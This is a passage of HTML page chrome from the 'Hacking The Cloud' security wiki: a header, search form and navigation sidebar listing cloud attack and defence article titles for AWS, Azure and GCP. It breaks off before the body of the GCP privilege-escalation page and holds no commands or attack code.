viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3 checked> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=true> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item 